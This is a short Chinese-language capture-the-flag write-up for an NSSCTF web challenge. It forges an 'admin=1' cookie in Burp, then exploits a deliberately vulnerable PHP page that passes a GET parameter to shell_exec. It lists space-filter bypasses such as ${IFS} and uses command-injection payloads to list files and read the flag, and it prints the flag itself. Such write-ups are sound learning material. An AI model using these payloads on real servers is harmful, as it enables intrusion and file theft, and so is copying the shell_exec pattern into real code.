0×01
打开题目环境,直接看重要代码
if($_COOKIE['admin']==1)
{
include "../next.php";
}
发现只有当COOKIE中admin的值等于1才可以执行下一步命令,跳出下一个文件。
0×02
打开题目环境,使用burp进行抓包,在抓包信息中,添加如下代码:
COOKIE:admin=1
Forward重放
在环境中发现新的PHP文件
rasalghul.php
url/rasalghul.php进行访问
发现PHP代码
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
给了一个参数url,发现还需要进行空格绕过。
常用的绕过方法
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
使用url=ls${IFS}查看根目录下的文件
url/rasalghul.php/?url=ls${IFS}
发现可疑文件flllllaaaaaaggggggg,疑似flag
构造payload并进行空格绕过,读取flag
url/rasalghul.php/?url=cat${IFS}$1/flllllaaaaaaggggggg
回显flag
NSSCTF{74e32ff7-033e-4262-887f-06968c36d204}